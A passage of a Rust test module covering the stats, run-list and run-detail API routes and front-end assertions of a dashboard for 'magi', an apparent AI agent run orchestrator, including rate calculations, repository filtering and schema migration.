19524        assert!(body.contains("`#/runs/${question.run}`"));
19525        assert!(body.contains("\"task\" : \"run\""));
19526    }
19527
19528    #[test]
19529    fn plain_text_message_surfaces_go_through_linkify() {
19530        assert!(APP_JS.contains("function linkify("));
19531        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19532        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19533        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19534        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19535        assert!(!APP_JS.contains("innerHTML = text"));
19536    }
19537
19538    #[test]
19539    fn implementation_rate_views_keep_independent_samples() {
19540        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19541            let a = stats::AgentStats {
19542                competitive_entered: competitive_n,
19543                competitive_wins: usize::from(competitive_n > 0),
19544                solo_entered: solo_n,
19545                solo_adopted: 2 * usize::from(solo_n > 0),
19546                ..Default::default()
19547            };
19548            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19549            for (key, n, numerator) in [
19550                ("competitive_win_rate", competitive_n, a.competitive_wins),
19551                ("solo_adoption_rate", solo_n, a.solo_adopted),
19552            ] {
19553                if n == 0 {
19554                    assert!(v[key].is_null());
19555                } else {
19556                    assert_eq!(v[key]["denominator"], n);
19557                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19558                }
19559            }
19560        }
19561        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19562        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19563        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19564        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19565    }
19566
19567    #[test]
19568    fn stats_bars_share_one_id_keyed_plan() {
19569        let start = APP_JS
19570            .find("function statsBarRows(")
19571            .expect("statsBarRows exists");
19572        let body = &APP_JS[start..];
19573        let body = &body[..body.find("\n}\n").expect("function end")];
19574        assert!(body.contains("statsBarPlan(rows)"));
19575        assert!(body.contains("statsAgentTone(row.agent)"));
19576        assert!(!body.contains("candTone(i)"));
19577        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19578        for root in [
19579            "stats-agents-bars",
19580            "stats-solo-bars",
19581            "stats-reviewers-bars",
19582        ] {
19583            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19584        }
19585    }
19586
19587    #[test]
19588    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19589        let start = APP_JS
19590            .find("function renderStatsReviewerScatter(")
19591            .expect("renderStatsReviewerScatter exists");
19592        let body = &APP_JS[start..];
19593        let body = &body[..body.find("\n}\n").expect("function end")];
19594        assert!(body.contains("statsScatterPlan(reviewers)"));
19595        assert!(body.contains("statsAgentTone(d.agent)"));
19596        assert!(APP_JS.contains("function statsScatterPlan("));
19597        assert!(
19598            APP_JS.contains("d.submitted < STATS_LOW_N")
19599                || APP_JS.contains("r.submitted < STATS_LOW_N")
19600        );
19601        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19602        assert!(APP_CSS.contains(".precision-scatter"));
19603    }
19604
19605    #[test]
19606    fn advisor_reflection_is_drawn_as_stacked_segments() {
19607        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19608        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19609        let html = include_str!("../assets/ui/index.html");
19610        assert!(html.contains("Approximate"));
19611        for label in ["reflected strongly", "faint", "no proposal"] {
19612            assert!(html.contains(label));
19613        }
19614        let css = include_str!("../assets/ui/app.css");
19615        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19616            assert!(css.contains(&format!(".{c} {{")));
19617        }
19618    }
19619
19620    #[test]
19621    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19622        assert!(APP_JS.contains("function statsDailyPlan("));
19623        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19624        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19625    }
19626
19627    #[test]
19628    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19629        let start = APP_JS
19630            .find("function scheduleSearch(")
19631            .expect("scheduleSearch exists");
19632        let body = &APP_JS[start..];
19633        let body = &body[..body.find("\n}\n").expect("function end")];
19634        assert!(body.contains("s.seq += 1"));
19635    }
19636
19637    /// The dashboard reads every run's state itself rather than trusting a
19638    /// separately-maintained count, so an unreadable run must be counted the
19639    /// same way `/api/health` counts it - never silently dropped the way the
19640    /// CLI's own `stats::load_all` drops it.
19641    #[tokio::test]
19642    async fn stats_runs_unreadable_matches_health() {
19643        let f = Fixture::start().await;
19644        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19645        let broken = f.runs().join("20260902-140502-bad");
19646        std::fs::create_dir_all(&broken).expect("run dir");
19647        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19648
19649        let stats = f.get("/api/stats").await;
19650        let health = f.get("/api/health").await;
19651
19652        assert_eq!(stats.status, 200);
19653        assert_eq!(stats.json()["totals"]["runs"], 1);
19654        assert_eq!(stats.json()["runs_unreadable"], 1);
19655        assert_eq!(
19656            stats.json()["runs_unreadable"],
19657            health.json()["runs_unreadable"],
19658            "the dashboard and /api/health must never disagree about how many \
19659             runs could not be read"
19660        );
19661    }
19662
19663    #[tokio::test]
19664    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19665        let f = Fixture::start().await;
19666        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19667        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19668        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19669
19670        let totals = &f.get("/api/stats").await.json()["totals"];
19671        assert_eq!(totals["runs"], 3);
19672        assert_eq!(totals["merged"], 1);
19673        assert_eq!(totals["stalled"], 1);
19674        assert_eq!(totals["in_progress"], 1);
19675        // A stalled run must never read as blocked/merged/ready - it is its
19676        // own bucket, not folded into a "decided" one.
19677        assert_eq!(totals["blocked"], 0);
19678        assert_eq!(totals["ready"], 0);
19679    }
19680
19681    #[tokio::test]
19682    async fn stats_advisors_report_proposals_and_reflection() {
19683        use crate::advise::{Advice, AdvisorRecord, Reflection};
19684        use crate::verdict::Proposal;
19685
19686        let f = Fixture::start().await;
19687        let mut state = RunState::new(
19688            PathBuf::from("/repo/magi"),
19689            "main".to_owned(),
19690            "0123456789abcdef".to_owned(),
19691            "task".to_owned(),
19692            Config::default(),
19693        );
19694        state.id = "20260902-140501-a".to_owned();
19695        state.status = RunStatus::Merged;
19696        state.advice = Some(Advice {
19697            records: vec![
19698                AdvisorRecord {
19699                    seat: "advisor-1".to_owned(),
19700                    agent: "alpha".to_owned(),
19701                    proposal: Some(Proposal {
19702                        approach: "do it".to_owned(),
19703                        key_tradeoff: "speed over memory".to_owned(),
19704                        risks: Vec::new(),
19705                        touches: Vec::new(),
19706                        why_not_naive: "breaks under load".to_owned(),
19707                    }),
19708                    error: None,
19709                    duration_ms: 0,
19710                    reflection: Reflection::Strong,
19711                },
19712                AdvisorRecord {
19713                    seat: "advisor-2".to_owned(),
19714                    agent: "alpha".to_owned(),
19715                    proposal: None,
19716                    error: Some("timed out".to_owned()),
19717                    duration_ms: 0,
19718                    reflection: Reflection::Absent,
19719                },
19720            ],
19721            synthesis: Some("blended brief".to_owned()),
19722        });
19723        let dir = f.runs().join(&state.id);
19724        std::fs::create_dir_all(&dir).expect("run dir");
19725        std::fs::write(
19726            dir.join("run.json"),
19727            serde_json::to_string_pretty(&state).expect("serialize run"),
19728        )
19729        .expect("write run.json");
19730
19731        // `alpha` is in no roster here; this test is about the rates.
19732        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19733        let alpha = advisors
19734            .as_array()
19735            .expect("an array")
19736            .iter()
19737            .find(|a| a["agent"] == "alpha")
19738            .expect("alpha row");
19739        assert_eq!(alpha["seated"], 2);
19740        assert_eq!(alpha["proposed"], 1);
19741        assert_eq!(alpha["absent"], 1);
19742        assert_eq!(alpha["strong"], 1);
19743        assert_eq!(alpha["faint"], 0);
19744        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19745    }
19746
19747    #[tokio::test]
19748    async fn stats_hides_agents_outside_the_roster_unless_all() {
19749        use crate::run::Candidate;
19750        let repo = TempDir::new().expect("repo dir");
19751        std::fs::write(
19752            repo.path().join("magi.toml"),
19753            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19754        )
19755        .expect("magi.toml");
19756        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19757        let mut state = RunState::new(
19758            PathBuf::from("/repo/magi"),
19759            "main".to_owned(),
19760            "0123456789abcdef".to_owned(),
19761            "task".to_owned(),
19762            Config::default(),
19763        );
19764        state.id = "20260902-140501-a".to_owned();
19765        state.status = RunStatus::Merged;
19766        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19767            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19768                "index": 0, "label": label.to_string(), "agent": agent,
19769                "branch": "b", "worktree": "/w",
19770            }))
19771            .expect("candidate");
19772            c.label = label;
19773            state.candidates.push(c);
19774        }
19775        let dir = f.runs().join(&state.id);
19776        std::fs::create_dir_all(&dir).expect("run dir");
19777        std::fs::write(
19778            dir.join("run.json"),
19779            serde_json::to_string_pretty(&state).expect("serialize run"),
19780        )
19781        .expect("write run.json");
19782
19783        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19784            v["agents"]
19785                .as_array()
19786                .expect("array")
19787                .iter()
19788                .map(|a| a["agent"].as_str().unwrap().to_owned())
19789                .collect()
19790        };
19791        let hidden = f.get("/api/stats").await.json();
19792        assert_eq!(agents_of(&hidden), ["keep"]);
19793        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19794        assert_eq!(hidden["totals"]["runs"], 1);
19795
19796        let all = f.get("/api/stats?all=true").await.json();
19797        assert_eq!(agents_of(&all).len(), 2);
19798        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19799        // Verify competitive and solo keys exist on agent entries
19800        let keep_agent = all["agents"]
19801            .as_array()
19802            .unwrap()
19803            .iter()
19804            .find(|a| a["agent"] == "keep")
19805            .unwrap();
19806        assert_eq!(keep_agent["competitive_entered"], 1);
19807        assert_eq!(keep_agent["competitive_wins"], 0);
19808        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19809        assert_eq!(keep_agent["solo_entered"], 0);
19810        assert_eq!(keep_agent["solo_adopted"], 0);
19811        assert!(keep_agent["solo_adoption_rate"].is_null());
19812    }
19813
19814    #[tokio::test]
19815    async fn stats_release_bumps_split_clean_from_attention() {
19816        use crate::run::ReleaseBump;
19817
19818        let f = Fixture::start().await;
19819
19820        let mut clean = RunState::new(
19821            PathBuf::from("/repo/magi"),
19822            "main".to_owned(),
19823            "0123456789abcdef".to_owned(),
19824            "task".to_owned(),
19825            Config::default(),
19826        );
19827        clean.id = "20260902-140501-a".to_owned();
19828        clean.status = RunStatus::Merged;
19829        clean.release_bump = Some(ReleaseBump {
19830            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19831            version: Some("1.0.0".to_owned()),
19832            automerge_enabled: true,
19833            merged_directly: false,
19834            local: false,
19835            release: None,
19836            problem: None,
19837            action_required: None,
19838            skipped: None,
19839        });
19840
19841        let mut blocked = RunState::new(
19842            PathBuf::from("/repo/magi"),
19843            "main".to_owned(),
19844            "0123456789abcdef".to_owned(),
19845            "task".to_owned(),
19846            Config::default(),
19847        );
19848        blocked.id = "20260902-140502-b".to_owned();
19849        blocked.status = RunStatus::Merged;
19850        blocked.release_bump = Some(ReleaseBump {
19851            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19852            version: Some("1.0.1".to_owned()),
19853            automerge_enabled: false,
19854            merged_directly: false,
19855            local: false,
19856            release: None,
19857            problem: Some("checks red".to_owned()),
19858            action_required: Some("look at the PR".to_owned()),
19859            skipped: None,
19860        });
19861
19862        for state in [&clean, &blocked] {
19863            let dir = f.runs().join(&state.id);
19864            std::fs::create_dir_all(&dir).expect("run dir");
19865            std::fs::write(
19866                dir.join("run.json"),
19867                serde_json::to_string_pretty(state).expect("serialize run"),
19868            )
19869            .expect("write run.json");
19870        }
19871
19872        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19873        assert_eq!(bumps["merged"], 2);
19874        assert_eq!(bumps["recorded"], 2);
19875        assert_eq!(bumps["pr_opened"], 2);
19876        assert_eq!(bumps["automerge_enabled"], 1);
19877        assert_eq!(bumps["needs_attention"], 1);
19878        assert_eq!(bumps["clean"], 1);
19879        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19880        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19881    }
19882
19883    #[tokio::test]
19884    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19885        let f = Fixture::start().await;
19886        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19887
19888        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19889        assert_eq!(bumps["merged"], 1);
19890        assert_eq!(bumps["recorded"], 0);
19891        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19892        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19893        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19894        // `pr_opened` and `recorded` are both zero here, so these rates have
19895        // no denominator to compute from and must be null.
19896        assert_eq!(bumps["automerge_rate"], Value::Null);
19897        assert_eq!(bumps["attention_rate"], Value::Null);
19898    }
19899
19900    #[tokio::test]
19901    async fn stats_queue_counts_come_from_the_live_queue() {
19902        let f = Fixture::start().await;
19903        let q = f.queue();
19904        let mut queued = Task::new(
19905            "queued task".to_owned(),
19906            "do it".to_owned(),
19907            PathBuf::from("/repo"),
19908            Source::Human,
19909        );
19910        q.put(&mut queued).expect("put queued");
19911        let mut held = Task::new(
19912            "held task".to_owned(),
19913            "do it later".to_owned(),
19914            PathBuf::from("/repo"),
19915            Source::Human,
19916        );
19917        held.hold_machine(Some("out of attempts".to_owned()));
19918        q.put(&mut held).expect("put held");
19919
19920        let queue = f.get("/api/stats").await.json()["queue"].clone();
19921        assert_eq!(queue["queued"], 1);
19922        assert_eq!(queue["held"], 1);
19923        assert_eq!(queue["running"], 0);
19924        assert_eq!(queue["done"], 0);
19925        assert_eq!(queue["failed"], 0);
19926        assert_eq!(queue["blocked"], 0);
19927    }
19928
19929    #[tokio::test]
19930    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19931        let f = Fixture::start().await;
19932        let stats = f.get("/api/stats").await;
19933        assert_eq!(stats.status, 200);
19934        assert_eq!(stats.json()["totals"]["runs"], 0);
19935        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19936        assert_eq!(stats.json()["runs_unreadable"], 0);
19937        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19938        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19939        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19940        assert_eq!(stats.json()["repo"], Value::Null);
19941    }
19942
19943    #[tokio::test]
19944    async fn stats_lists_every_repository_with_runs_recorded() {
19945        let f = Fixture::start().await;
19946        write_run_repo(
19947            &f.runs(),
19948            "20260902-140501-a",
19949            RunStatus::Merged,
19950            "/repos/a",
19951        );
19952        write_run_repo(
19953            &f.runs(),
19954            "20260902-140502-b",
19955            RunStatus::Merged,
19956            "/repos/a",
19957        );
19958        write_run_repo(
19959            &f.runs(),
19960            "20260902-140503-c",
19961            RunStatus::Blocked,
19962            "/repos/b",
19963        );
19964
19965        let stats = f.get("/api/stats").await;
19966        assert_eq!(stats.status, 200);
19967        // Unfiltered - the aggregate across both repositories.
19968        assert_eq!(stats.json()["totals"]["runs"], 3);
19969        assert_eq!(stats.json()["repo"], Value::Null);
19970
19971        let repos = stats.json()["repos"].clone();
19972        let repos = repos.as_array().unwrap();
19973        assert_eq!(repos.len(), 2);
19974        // Busiest (2 runs) first.
19975        assert_eq!(repos[0]["repo"], "/repos/a");
19976        assert_eq!(repos[0]["name"], "a");
19977        assert_eq!(repos[0]["runs"], 2);
19978        assert_eq!(repos[1]["repo"], "/repos/b");
19979        assert_eq!(repos[1]["runs"], 1);
19980    }
19981
19982    #[tokio::test]
19983    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19984        let f = Fixture::start().await;
19985        write_run_repo(
19986            &f.runs(),
19987            "20260902-140501-a",
19988            RunStatus::Merged,
19989            "/repos/a",
19990        );
19991        write_run_repo(
19992            &f.runs(),
19993            "20260902-140502-b",
19994            RunStatus::Blocked,
19995            "/repos/b",
19996        );
19997
19998        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19999        assert_eq!(stats.status, 200);
20000        assert_eq!(stats.json()["totals"]["runs"], 1);
20001        assert_eq!(stats.json()["totals"]["merged"], 1);
20002        assert_eq!(stats.json()["repo"], "/repos/a");
20003        // The repository list itself is unaffected by the filter - it is
20004        // what a client switches repositories from.
20005        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20006        // runs_unreadable is a whole-workload count, never scoped to the
20007        // selected repository - see StatsView::runs_unreadable's own doc.
20008        assert_eq!(stats.json()["runs_unreadable"], 0);
20009    }
20010
20011    #[tokio::test]
20012    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20013        let f = Fixture::start().await;
20014        write_run_repo(
20015            &f.runs(),
20016            "20260902-140501-a",
20017            RunStatus::Merged,
20018            "/repos/a",
20019        );
20020        write_run_repo(
20021            &f.runs(),
20022            "20260902-140502-b",
20023            RunStatus::Merged,
20024            "/repos/b",
20025        );
20026
20027        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20028            let json = f.get(uri).await.json();
20029            let daily = json["daily"].as_array().expect("daily is an array");
20030            assert_eq!(daily.len(), 30);
20031            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20032            let mut sorted = dates.clone();
20033            sorted.sort();
20034            assert_eq!(dates, sorted);
20035            for d in daily {
20036                assert_eq!(
20037                    d["merged"].as_u64().unwrap()
20038                        + d["ready"].as_u64().unwrap()
20039                        + d["other"].as_u64().unwrap(),
20040                    d["runs"].as_u64().unwrap()
20041                );
20042            }
20043            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20044        }
20045    }
20046
20047    #[tokio::test]
20048    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20049        let f = Fixture::start().await;
20050        write_run_repo(
20051            &f.runs(),
20052            "20260902-140501-a",
20053            RunStatus::Merged,
20054            "/repos/a",
20055        );
20056
20057        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20058        assert_eq!(stats.status, 404);
20059    }
20060
20061    #[tokio::test]
20062    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20063        let f = Fixture::start().await;
20064        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20065
20066        let summary = f.get("/api/runs").await.json();
20067        let row = &summary[0];
20068        assert_eq!(row["short"], "a1b2");
20069        assert_eq!(row["status"], "ready");
20070        assert_eq!(row["done"], true);
20071        assert_eq!(row["title"], "Add a web UI");
20072        assert_eq!(row["repo_name"], "magi");
20073        assert_eq!(row["judges"], 3);
20074        assert_eq!(row["winner"], Value::Null);
20075        assert_eq!(row["reviews"], 0);
20076
20077        // The short id resolves, and the detail route is the state itself, not
20078        // a projection of it: the UI reads fields the summary does not carry.
20079        let detail = f.get("/api/runs/a1b2").await;
20080        assert_eq!(detail.status, 200);
20081        assert_eq!(detail.json()["base_branch"], "main");
20082        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20083    }
20084
20085    /// `status: "ready"` alone cannot tell a run still headed for a landing
20086    /// (a PR closed without merging, say) apart from one `[merge] mode =
20087    /// "none"` left unmerged for good — the confusion the operator flagged
20088    /// after the CLI report already grew a `not landed — nothing to do by
20089    /// design` line for exactly this case (`report.rs`). Both the list route
20090    /// and the detail route must carry a flag the phone can key on instead of
20091    /// re-deriving it from `status` + `merge.mode` itself.
20092    #[tokio::test]
20093    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20094        let f = Fixture::start().await;
20095
20096        let mut none_run = RunState::new(
20097            PathBuf::from("/repo/magi"),
20098            "main".to_owned(),
20099            "0123456789abcdef".to_owned(),
20100            "Add a web UI".to_owned(),
20101            Config::default(),
20102        );
20103        none_run.id = "20260902-140503-none".to_owned();
20104        none_run.status = RunStatus::Ready;
20105        none_run.merge = Some(crate::run::MergeOutcome {
20106            mode: crate::config::MergeMode::None,
20107            ok: true,
20108            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20109            empty: false,
20110        });
20111        write_state(&f.runs(), &none_run);
20112
20113        let mut pr_run = RunState::new(
20114            PathBuf::from("/repo/magi"),
20115            "main".to_owned(),
20116            "0123456789abcdef".to_owned(),
20117            "Add a web UI".to_owned(),
20118            Config::default(),
20119        );
20120        pr_run.id = "20260902-140504-prcl".to_owned();
20121        pr_run.status = RunStatus::Ready;
20122        pr_run.merge = Some(crate::run::MergeOutcome {
20123            mode: crate::config::MergeMode::Pr,
20124            ok: false,
20125            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20126            empty: false,
20127        });
20128        write_state(&f.runs(), &pr_run);
20129
20130        let summary = f.get("/api/runs").await.json();
20131        let rows: std::collections::HashMap<&str, &Value> = summary
20132            .as_array()
20133            .expect("an array")
20134            .iter()
20135            .map(|r| (r["id"].as_str().expect("an id"), r))
20136            .collect();
20137        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20138        assert_eq!(
20139            rows[none_run.id.as_str()]["unmerged_by_design"],
20140            true,
20141            "a mode-none Ready must be flagged in the list"
20142        );
20143        assert_eq!(
20144            rows[pr_run.id.as_str()]["unmerged_by_design"],
20145            false,
20146            "a Ready reached by a closed pull request is a different case"
20147        );
20148
20149        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20150        assert_eq!(none_detail["status"], "ready");
20151        assert_eq!(none_detail["unmerged_by_design"], true);
20152
20153        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20154        assert_eq!(pr_detail["unmerged_by_design"], false);
20155    }
20156
20157    /// `RunState::active` is only ever cleared by whoever populated it, so the
20158    /// detail route also has to say whether a daemon is actually still
20159    /// driving this run right now — otherwise a seat from a killed process's
20160    /// last wave would read as live forever.
20161    #[tokio::test]
20162    async fn run_core_survives_unavailable_related_stores() {
20163        let home = TempDir::new().unwrap();
20164        let ui = delta_test_ui(home.path());
20165        let state = RunState::new(
20166            PathBuf::from("/repo/magi"),
20167            "main".into(),
20168            "0123456789abcdef".into(),
20169            "Useful core instructions".into(),
20170            Config::default(),
20171        );
20172        let dir = ui.runs.join(&state.id);
20173        std::fs::create_dir_all(&dir).unwrap();
20174        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20175        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20176        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20177        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20178            .await
20179            .unwrap()
20180            .0;
20181        assert_eq!(core.state.instruction, state.instruction);
20182        assert_eq!(core.state.updated_at, state.updated_at);
20183        assert!(core.task.is_none());
20184        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20185    }
20186
20187    #[tokio::test]
20188    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20189        let f = Fixture::start().await;
20190        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20191        // half of this test can claim the daemon is working on it without a
20192        // second helper.
20193        let id = "20260902-140502-bbbb";
20194        let mut state = RunState::new(
20195            PathBuf::from("/repo/magi"),
20196            "main".to_owned(),
20197            "0123456789abcdef".to_owned(),
20198            "Add a web UI".to_owned(),
20199            Config::default(),
20200        );
20201        state.id = id.to_owned();
20202        state.status = RunStatus::Judging;
20203        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20204        let dir = f.runs().join(id);
20205        std::fs::create_dir_all(&dir).expect("run dir");
20206        std::fs::write(
20207            dir.join("run.json"),
20208            serde_json::to_string_pretty(&state).expect("serialize run"),
20209        )
20210        .expect("write run.json");
20211
20212        // No daemon.json at all, and no `driver_pid` recorded either (this
20213        // state was written directly, never through `execute()`): there is
20214        // nothing to confirm either way, so the route must say `"unknown"` —
20215        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20216        // run` used to get from this route before `driver_pid` existed.
20217        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20218        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20219        assert_eq!(cold["live"], "unknown", "{cold}");
20220
20221        // A fresh heartbeat naming exactly this run: the same entry now reads
20222        // as confirmed, not merely recorded.
20223        write_daemon(f.home.path(), Timestamp::now());
20224        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20225        assert_eq!(warm["live"], "live", "{warm}");
20226    }
20227
20228    #[test]
20229    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20230        let home = tempfile::tempdir().expect("temp home");
20231        let runs = home.path().join("runs");
20232        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20233            let mut state = RunState::new(
20234                PathBuf::from("/repo/magi"),
20235                "main".to_owned(),
20236                "0123456789abcdef".to_owned(),
20237                "Generated review context, not authored task criteria".to_owned(),
20238                Config::default(),
20239            );
20240            state.origin = origin;
20241            state.status = RunStatus::Blocked;
20242            // Earlier migrations must not infer these facts again.
20243            state.driver_exited = false;
20244            state.gate_ran = true;
20245            let expected = serde_json::to_value(&state).expect("serialize current state");
20246            let mut legacy = expected.clone();
20247            legacy["schema"] = serde_json::json!(13);
20248            legacy.as_object_mut().unwrap().remove("task_instruction");
20249            let dir = runs.join(&state.id);
20250            std::fs::create_dir_all(&dir).expect("run dir");
20251            let path = dir.join("run.json");
20252            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20253            std::fs::write(&path, &body).expect("write legacy run");
20254
20255            for loaded in [
20256                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20257                read_run(&runs, &state.id).expect("web migration"),
20258            ] {
20259                assert_eq!(loaded.schema, crate::run::SCHEMA);
20260                assert!(loaded.task_instruction.is_none());
20261                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20262            }
20263            assert_eq!(runs_unreadable(&runs), 0);
20264            assert_eq!(std::fs::read(&path).unwrap(), body);
20265        }
20266    }
20267
20268    /// Where a run came from is shown, and a run written before origins were
20269    /// recorded (schema 12, no `origin` key) stays readable and says so.
20270    #[tokio::test]
20271    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20272        let f = Fixture::start().await;
20273        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20274            let mut state = RunState::new(
20275                PathBuf::from("/repo/magi"),
20276                "main".to_owned(),
20277                "0123456789abcdef".to_owned(),
20278                "Add a web UI".to_owned(),
20279                Config::default(),
20280            );
20281            state.id = id.to_owned();
20282            state.origin = origin;
20283            let mut value = serde_json::to_value(&state).expect("serialize run");
20284            if let Some(schema) = schema {
20285                value["schema"] = serde_json::json!(schema);
20286                value.as_object_mut().unwrap().remove("origin");
20287            }
20288            let dir = f.runs().join(id);
20289            std::fs::create_dir_all(&dir).expect("run dir");
20290            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20291        };
20292        write(
20293            "20260930-092817-ec34",
20294            Some(crate::run::Origin::from_agent_env(
20295                Some(("4a7b".to_owned(), "chat".to_owned())),
20296                None,
20297            )),
20298            None,
20299        );
20300        write("20260930-092817-0ld1", None, Some(12));
20301
20302        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20303        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20304        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20305
20306        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20307        assert_eq!(
20308            old["origin_label"], "origin unknown (started before origins were recorded)",
20309            "{old}"
20310        );
20311        assert!(old["origin"].is_null(), "{old}");
20312
20313        let list = f.get("/api/runs").await.json();
20314        let labels: Vec<_> = list
20315            .as_array()
20316            .unwrap()
20317            .iter()
20318            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20319            .collect();
20320        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20321    }
20322
20323    #[tokio::test]
20324    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20325        let f = Fixture::start().await;
20326        let mut state = RunState::new(
20327            PathBuf::from("/repo"),
20328            "main".into(),
20329            "abc".into(),
20330            "task".into(),
20331            Config::default(),
20332        );
20333        state.status = RunStatus::Implementing;
20334        state.seat_started(
20335            "implement",
20336            "implement-A",
20337            std::time::Duration::from_secs(60),
20338            0,
20339        );
20340        state.save_under(f.home.path()).unwrap();
20341        let observed = f
20342            .get(&format!("/api/runs/{}/progress", state.id))
20343            .await
20344            .json();
20345        assert_eq!(observed["id"], state.id);
20346        assert!(observed["observed_at"].is_string());
20347        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20348        assert!(observed["progress"]["activity"].is_string());
20349        for field in [
20350            "config",
20351            "candidates",
20352            "land_approval",
20353            "task",
20354            "waiting",
20355            "done",
20356        ] {
20357            assert!(
20358                observed.get(field).is_none(),
20359                "progress must not expose control evidence: {field}"
20360            );
20361        }
20362    }
20363
20364    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20365    /// review` claims no daemon at all, so before this field existed the
20366    /// route above read it as `"dead"` — indistinguishable from a run a
20367    /// killed process abandoned — the whole time it was genuinely still
20368    /// answering. With a live pid recorded, it must read `"live"` even
20369    /// though no daemon claims it.
20370    #[tokio::test]
